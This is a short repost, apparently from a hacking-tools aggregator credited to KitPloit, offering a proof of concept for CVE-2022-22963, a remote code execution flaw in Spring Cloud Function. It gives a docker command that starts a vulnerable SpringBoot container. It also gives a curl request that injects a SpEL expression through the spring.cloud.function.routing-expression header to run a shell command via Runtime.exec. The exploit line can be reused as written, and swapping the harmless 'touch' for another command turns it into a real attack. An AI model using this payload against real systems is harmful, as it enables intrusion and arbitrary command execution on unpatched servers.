Burp, Container, CVE-2022-22963, Downloads, Exposing, Hacking Tools, Vulnerable

CVE-2022-22963 – PoC Spring Java Framework 0-day Remote Code Execution Vulnerability

To run the vulnerable SpringBoot application run this docker container exposing it to port 8080. Example:

docker run -it -d -p 8080:8080 bobcheat/springboot-public


Curl command:

curl -i -s -k -X $'POST' -H $'Host:' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/test")' --data-binary $'exploit_poc' $''

Or using Burp suite:



Source : KitPloit – PenTest Tools!

Previous ArticleNext Article
Send this to a friend